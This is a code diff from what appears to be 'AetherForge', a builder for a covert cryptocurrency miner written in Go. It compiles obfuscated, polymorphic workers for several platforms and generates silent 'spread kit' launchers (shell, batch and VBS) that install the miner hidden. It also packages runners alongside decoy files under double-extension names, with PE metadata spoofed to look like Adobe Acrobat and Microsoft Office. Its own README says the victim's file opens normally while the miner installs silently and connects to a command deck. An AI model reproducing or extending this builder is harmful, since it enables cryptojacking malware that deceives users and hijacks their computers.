|
||||||
|
|
||||||
|
func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||||
|
buildID := uuid.New().String()
|
||||||
|
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||||
|
agentDir := filepath.Join(buildDir, "agent")
|
||||||
|
|
||||||
|
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
if err := h.copyAgentSource(agentDir); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
platforms := platformsForRequest(req)
|
||||||
|
workerPaths := map[string]string{}
|
||||||
|
for _, p := range platforms {
|
||||||
|
wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||||
|
if err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
workerPaths[p.Label()] = wp
|
||||||
|
}
|
||||||
|
|
||||||
|
if req.SpreadKit && !req.FusionEnabled {
|
||||||
|
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||||
|
}
|
||||||
|
|
||||||
|
if req.FusionEnabled {
|
||||||
|
return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
|
||||||
|
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||||
|
subdir := sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||||
|
if req.SpreadKit {
|
||||||
|
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||||
|
} else {
|
||||||
|
subdir = sanitizeFileName(req.WorkerName) + "-universal"
|
||||||
|
}
|
||||||
|
outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
|
||||||
|
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, p := range platforms {
|
||||||
|
src := workers[p.Label()]
|
||||||
|
destDir := filepath.Join(outDir, p.BinDir())
|
||||||
|
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
destName := "worker" + p.Ext
|
||||||
|
if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755)
|
||||||
|
_ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644)
|
||||||
|
_ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644)
|
||||||
|
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755)
|
||||||
|
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644)
|
||||||
|
_ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644)
|
||||||
|
|
||||||
|
zipName := subdir + "-package.zip"
|
||||||
|
zipPath := filepath.Join(buildDir, zipName)
|
||||||
|
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||||
|
|
||||||
|
primary := workers[platforms[0].Label()]
|
||||||
|
if w, ok := workers["windows-amd64"]; ok {
|
||||||
|
primary = w
|
||||||
|
}
|
||||||
|
zipSt, _ := os.Stat(zipPath)
|
||||||
|
zipBytes := int64(0)
|
||||||
|
if zipSt != nil {
|
||||||
|
zipBytes = zipSt.Size()
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||||
|
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||||
|
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(),
|
||||||
|
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||||
|
Platform: "universal", BundleSize: zipBytes,
|
||||||
|
}); err != nil {
|
||||||
|
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return BuildResponse{
|
||||||
|
Success: true,
|
||||||
|
BuildID: buildID,
|
||||||
|
FileName: zipName,
|
||||||
|
FilePath: zipPath,
|
||||||
|
RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)),
|
||||||
|
FileSize: zipBytes,
|
||||||
|
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||||
|
BundleFileName: zipName,
|
||||||
|
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||||
|
BundleSize: zipBytes,
|
||||||
|
FusionExportDir: outDir,
|
||||||
|
ExportPath: outDir,
|
||||||
|
}, http.StatusOK, primary
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||||
|
// Resolve payload display name (used for runner naming and ZIP title)
|
||||||
|
payloadBase := filepath.Base(prepPath)
|
||||||
|
title := strings.TrimSpace(req.FusionMediaBaseName)
|
||||||
|
if title == "" {
|
||||||
|
title = payloadBase
|
||||||
|
}
|
||||||
|
titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||||
|
if titleBase == "" {
|
||||||
|
titleBase = "fusion"
|
||||||
|
}
|
||||||
|
|
||||||
|
subdir := fusionExportSubdir(req, title)
|
||||||
|
outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
||||||
|
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||||
|
|
||||||
|
var fusionResults []*fusionBuildResult
|
||||||
|
var primaryPath string
|
||||||
|
for _, p := range platforms {
|
||||||
|
workerPath := workers[p.Label()]
|
||||||
|
platReq := *req
|
||||||
|
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
|
||||||
|
platReq.FusionOutputName = runnerNameForFile(title, p)
|
||||||
|
res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p)
|
||||||
|
if err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
fusionResults = append(fusionResults, res)
|
||||||
|
destDir := filepath.Join(outDir, p.BinDir())
|
||||||
|
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
runnerName := filepath.Base(res.LauncherPath)
|
||||||
|
destRunner := filepath.Join(destDir, runnerName)
|
||||||
|
if err := copyFile(res.LauncherPath, destRunner); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
if p.GOOS == "windows" {
|
||||||
|
primaryPath = destRunner
|
||||||
|
}
|
||||||
|
if p.GOOS == "darwin" {
|
||||||
|
if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil {
|
||||||
|
log.Printf("[Forge] darwin app bundle: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// For paired mode: copy the original payload file to the ZIP root so runners can find it.
|
||||||
|
// The runners search up to 2 parent dirs from their binary location (bin/platform/ → root).
|
||||||
|
if mode == "paired" && prepPath != "" {
|
||||||
|
destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase))
|
||||||
|
_ = copyFile(prepPath, destPayload)
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755)
|
||||||
|
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
|
||||||
|
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
|
||||||
|
|
||||||
|
readme := fusionReadmeInfo{
|
||||||
|
Title: titleBase,
|
||||||
|
RunnerName: titleBase + "-runner",
|
||||||
|
MediaName: payloadBase,
|
||||||
|
PayloadKind: req.FusionPayloadKind,
|
||||||
|
MediaMode: mode,
|
||||||
|
}
|
||||||
|
windowsRunnerName := disguisedRunnerName(payloadBase)
|
||||||
|
unixRunnerName := sanitizeFileName(titleBase+"-runner")
|
||||||
|
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
|
||||||
|
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
|
||||||
|
" NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" +
|
||||||
|
" Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" +
|
||||||
|
" macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" +
|
||||||
|
"What happens when launched:\r\n" +
|
||||||
|
" 1. The original file (" + payloadBase + ") opens normally\r\n" +
|
||||||
|
" 2. The miner installs silently and connects to your command deck\r\n"
|
||||||
|
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644)
|
||||||
|
|
||||||
|
zipName := fusionBundleZipName(subdir)
|
||||||
|
zipPath := filepath.Join(buildDir, zipName)
|
||||||
|
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||||
|
|
||||||
|
if primaryPath == "" && len(fusionResults) > 0 {
|
||||||
|
primaryPath = fusionResults[0].LauncherPath
|
||||||
|
}
|
||||||
|
zipSt2, _ := os.Stat(zipPath)
|
||||||
|
zipBytes2 := int64(0)
|
||||||
|
if zipSt2 != nil {
|
||||||
|
zipBytes2 = zipSt2.Size()
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||||
|
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||||
|
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(),
|
||||||
|
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||||
|
Platform: "universal", BundleSize: zipBytes2,
|
||||||
|
}); err != nil {
|
||||||
|
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return BuildResponse{
|
||||||
|
Success: true,
|
||||||
|
BuildID: buildID,
|
||||||
|
FileName: zipName,
|
||||||
|
FilePath: zipPath,
|
||||||
|
RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)),
|
||||||
|
FileSize: zipBytes2,
|
||||||
|
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||||
|
FusionEnabled: true,
|
||||||
|
FusionExportDir: outDir,
|
||||||
|
BundleFileName: zipName,
|
||||||
|
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||||
|
BundleSize: zipBytes2,
|
||||||
|
ExportPath: outDir,
|
||||||
|
}, http.StatusOK, primaryPath
|
||||||
|
}
|
||||||
|
|
||||||
|
func runnerNameForPlatform(p BuildPlatform) string {
|
||||||
|
if p.GOOS == "windows" {
|
||||||
|
return "runner.exe"
|
||||||
|
}
|
||||||
|
return "runner"
|
||||||
|
}
|
||||||
|
|
||||||
|
func fileSize(st os.FileInfo) int64 {
|
||||||
|
if st == nil {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
return st.Size()
|
||||||
|
}
|
||||||
|
|
||||||
|
const universalDeploySh = `#!/bin/sh
|
||||||
|
set -e
|
||||||
|
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
export AETHER_KIT_DIR="$DIR"
|
||||||
|
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||||
|
ARCH="$(uname -m)"
|
||||||
|
case "$OS" in
|
||||||
|
linux*)
|
||||||
|
case "$ARCH" in
|
||||||
|
arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;;
|
||||||
|
*) RUN="$DIR/bin/linux-amd64/worker" ;;
|
||||||
|
esac
|
||||||
|
;;
|
||||||
|
darwin*)
|
||||||
|
case "$ARCH" in
|
||||||
|
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;;
|
||||||
|
*) RUN="$DIR/bin/darwin-amd64/worker" ;;
|
||||||
|
esac
|
||||||
|
;;
|
||||||
|
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
||||||
|
esac
|
||||||
|
if [ ! -f "$RUN" ]; then
|
||||||
|
echo "Worker binary missing: $RUN"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
chmod +x "$RUN" 2>/dev/null || true
|
||||||
|
xattr -cr "$RUN" 2>/dev/null || true
|
||||||
|
nohup "$RUN" --spread-install </dev/null >/dev/null 2>&1 &
|
||||||
|
exit 0
|
||||||
|
`
|
||||||
|
|
||||||
|
func spreadKitDeploySh() string {
|
||||||
|
return universalDeploySh
|
||||||
|
}
|
||||||
|
|
||||||
|
const spreadKitDeployBatBody = `@echo off
|
||||||
|
setlocal
|
||||||
|
set "DIR=%~dp0"
|
||||||
|
set "AETHER_KIT_DIR=%DIR%"
|
||||||
|
set "RUN=%DIR%bin\windows-amd64\worker.exe"
|
||||||
|
if not exist "%RUN%" (
|
||||||
|
echo Worker missing: %RUN%
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
start "" /B "%RUN%" --spread-install
|
||||||
|
exit /b 0
|
||||||
|
`
|
||||||
|
|
||||||
|
func spreadKitDeployBat() string {
|
||||||
|
return spreadKitDeployBatBody
|
||||||
|
}
|
||||||
|
|
||||||
|
const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell")
|
||||||
|
dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
|
||||||
|
run = dir & "bin\windows-amd64\worker.exe"
|
||||||
|
If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then
|
||||||
|
WScript.Echo "Worker missing: " & run
|
||||||
|
WScript.Quit 1
|
||||||
|
End If
|
||||||
|
sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir
|
||||||
|
sh.Run """" & run & """ --spread-install", 0, False
|
||||||
|
`
|
||||||
|
|
||||||
|
func spreadKitDeployVbs() string {
|
||||||
|
return spreadKitDeployVbsBody
|
||||||
|
}
|
||||||
|
|
||||||
|
const spreadKitStartCommandBody = `#!/bin/bash
|
||||||
|
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
exec "$DIR/deploy.sh"
|
||||||
|
`
|
||||||
|
|
||||||
|
func spreadKitStartCommand() string {
|
||||||
|
return spreadKitStartCommandBody
|
||||||
|
}
|
||||||
|
|
||||||
|
const universalDeployBat = `@echo off
|
||||||
|
set DIR=%~dp0
|
||||||
|
"%DIR%bin\windows-amd64\worker.exe" --spread-install
|
||||||
|
`
|
||||||
|
|
||||||
|
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
|
||||||
|
// It detects the OS/arch and launches the matching runner binary.
|
||||||
|
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
|
||||||
|
func fusionUniversalStartSh(title string) string {
|
||||||
|
base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||||
|
if base == "" {
|
||||||
|
base = "runner"
|
||||||
|
}
|
||||||
|
runnerBase := sanitizeFileName(base + "-runner")
|
||||||
|
return `#!/bin/sh
|
||||||
|
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||||
|
ARCH="$(uname -m)"
|
||||||
|
case "$OS" in
|
||||||
|
linux*)
|
||||||
|
case "$ARCH" in
|
||||||
|
arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;;
|
||||||
|
*) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;;
|
||||||
|
esac ;;
|
||||||
|
darwin*)
|
||||||
|
case "$ARCH" in
|
||||||
|
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;;
|
||||||
|
*) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;;
|
||||||
|
esac ;;
|
||||||
|
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
||||||
|
esac
|
||||||
|
if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi
|
||||||
|
chmod +x "$RUN" 2>/dev/null || true
|
||||||
|
xattr -cr "$RUN" 2>/dev/null || true
|
||||||
|
exec "$RUN"
|
||||||
|
`
|
||||||
|
}
|
||||||
|
|
||||||
|
// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner).
|
||||||
|
// title is the payload filename — the runner uses the double-extension disguised name.
|
||||||
|
func fusionUniversalStartBat(title string) string {
|
||||||
|
runnerExe := disguisedRunnerName(title)
|
||||||
|
return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
// fusionUniversalStartCommand returns Start.command (macOS double-click launcher).
|
||||||
|
func fusionUniversalStartCommand() string {
|
||||||
|
return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatSpreadKitReadme(req *BuildRequest) string {
|
||||||
|
return fmt.Sprintf(`AetherForge Universal Spread Kit — %s
|
||||||
|
=====================================
|
||||||
|
|
||||||
|
Run ONE launcher for your OS (silent install + mining + deck connection):
|
||||||
|
|
||||||
|
Windows (silent): double-click Deploy.vbs (or Deploy.bat)
|
||||||
|
Linux: chmod +x deploy.sh && ./deploy.sh
|
||||||
|
macOS: double-click Start.command (or ./deploy.sh)
|
||||||
|
|
||||||
|
Keep the entire folder together — bin/ must stay next to the launcher.
|
||||||
|
|
||||||
|
Command deck URL baked into workers: %s
|
||||||
|
If agents never appear, re-forge with your LAN IP (not localhost).
|
||||||
|
|
||||||
|
Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix)
|
||||||
|
`, req.WorkerName, req.ServerURL)
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatSpreadKitOperator(req *BuildRequest, buildID string) string {
|
||||||
|
return fmt.Sprintf(`AetherForge Spread Kit — operator reference
|
||||||
|
Worker: %s
|
||||||
|
Build ID: %s
|
||||||
|
Command URL: %s
|
||||||
|
Pool: %s:%d
|
||||||
|
Wallet: %s…
|
||||||
|
Auto-spread: %v
|
||||||
|
Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64
|
||||||
|
|
||||||
|
Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s.
|
||||||
|
`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread)
|
||||||
|
}
|
||||||
|
|
||||||
|
func truncateWallet(w string) string {
|
||||||
|
w = strings.TrimSpace(w)
|
||||||
|
if len(w) <= 16 {
|
||||||
|
return w
|
||||||
|
}
|
||||||
|
return w[:16]
|
||||||
|
}
|
||||||
@@ -1,13 +1,5 @@
|
|||||||
package builder
|
package builder
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
|
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
|
||||||
var tags []string
|
var tags []string
|
||||||
if req.ProcessHollowing {
|
if req.ProcessHollowing {
|
||||||
@@ -27,36 +19,5 @@ func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
|
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
|
||||||
env := append(os.Environ(),
|
return h.compileGoProjectPlatform(dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||||
"GOOS=windows",
|
|
||||||
"GOARCH=amd64",
|
|
||||||
"CGO_ENABLED=0",
|
|
||||||
)
|
|
||||||
|
|
||||||
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
|
||||||
if len(tags) > 0 {
|
|
||||||
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
|
||||||
}
|
|
||||||
buildArgs = append(buildArgs, ".")
|
|
||||||
|
|
||||||
useGarble := obfuscate && h.garblePath != ""
|
|
||||||
if obfuscate && !useGarble {
|
|
||||||
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
|
||||||
}
|
|
||||||
|
|
||||||
var cmd *exec.Cmd
|
|
||||||
if useGarble {
|
|
||||||
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
|
||||||
cmd = exec.Command(h.garblePath, garbleArgs...)
|
|
||||||
} else {
|
|
||||||
cmd = exec.Command(h.goBinPath, buildArgs...)
|
|
||||||
}
|
|
||||||
cmd.Dir = dir
|
|
||||||
cmd.Env = env
|
|
||||||
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
|
|
||||||
}
|
|
||||||
return out, nil
|
|
||||||
}
|
}
|
||||||
|
|||||||
75
server/internal/builder/compile_platform.go
Normal file
75
server/internal/builder/compile_platform.go
Normal file
@@ -0,0 +1,75 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
|
||||||
|
env := append(os.Environ(),
|
||||||
|
"GOOS="+platform.GOOS,
|
||||||
|
"GOARCH="+platform.GOARCH,
|
||||||
|
"CGO_ENABLED=0",
|
||||||
|
)
|
||||||
|
|
||||||
|
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
||||||
|
if len(tags) > 0 {
|
||||||
|
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
||||||
|
}
|
||||||
|
buildArgs = append(buildArgs, ".")
|
||||||
|
|
||||||
|
useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows"
|
||||||
|
if obfuscate && platform.GOOS == "windows" && !useGarble {
|
||||||
|
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||||
|
}
|
||||||
|
|
||||||
|
var cmd *exec.Cmd
|
||||||
|
if useGarble {
|
||||||
|
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||||
|
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||||
|
} else {
|
||||||
|
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||||
|
}
|
||||||
|
cmd.Dir = dir
|
||||||
|
cmd.Env = env
|
||||||
|
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
|
||||||
|
name := workerFileName(req.WorkerName, platform, fusionWorker)
|
||||||
|
outputPath := filepath.Join(buildDir, platform.Label(), name)
|
||||||
|
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
configDir := filepath.Join(agentDir, "config")
|
||||||
|
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
|
||||||
|
return "", fmt.Errorf("write builtin config: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
ldflags := ldflagsFor(req, platform)
|
||||||
|
extra, err := injectPolymorph(agentDir, buildID)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[Forge] polymorph inject: %v", err)
|
||||||
|
} else {
|
||||||
|
ldflags += extra
|
||||||
|
}
|
||||||
|
|
||||||
|
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||||
|
if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return outputPath, nil
|
||||||
|
}
|
||||||
225
server/internal/builder/disguise.go
Normal file
225
server/internal/builder/disguise.go
Normal file
@@ -0,0 +1,225 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// fileDisguiseInfo holds the spoofed Windows PE metadata for a file type.
|
||||||
|
// When injected into the runner, Windows Explorer and Task Manager will show
|
||||||
|
// this information instead of the generic Go binary defaults.
|
||||||
|
type fileDisguiseInfo struct {
|
||||||
|
FileDescription string
|
||||||
|
ProductName string
|
||||||
|
CompanyName string
|
||||||
|
LegalCopyright string
|
||||||
|
OriginalFilename string // the "real" exe that Windows thinks this is
|
||||||
|
FileVersion string // e.g. "24.0.20112.0"
|
||||||
|
ProductVersion string // e.g. "2024.002.20965"
|
||||||
|
}
|
||||||
|
|
||||||
|
// disguiseByExt maps a lower-case file extension to the PE metadata that makes
|
||||||
|
// the runner binary look like the legitimate application for that file type.
|
||||||
|
// Extensions without an entry fall back to a generic Windows shell host entry.
|
||||||
|
var disguiseByExt = map[string]fileDisguiseInfo{
|
||||||
|
// ── Documents ──────────────────────────────────────────────────────────────
|
||||||
|
".pdf": {
|
||||||
|
FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat",
|
||||||
|
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.",
|
||||||
|
OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965",
|
||||||
|
},
|
||||||
|
".doc": {
|
||||||
|
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||||
|
},
|
||||||
|
".docx": {
|
||||||
|
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||||
|
},
|
||||||
|
".xls": {
|
||||||
|
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||||
|
},
|
||||||
|
".xlsx": {
|
||||||
|
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
||||||
|
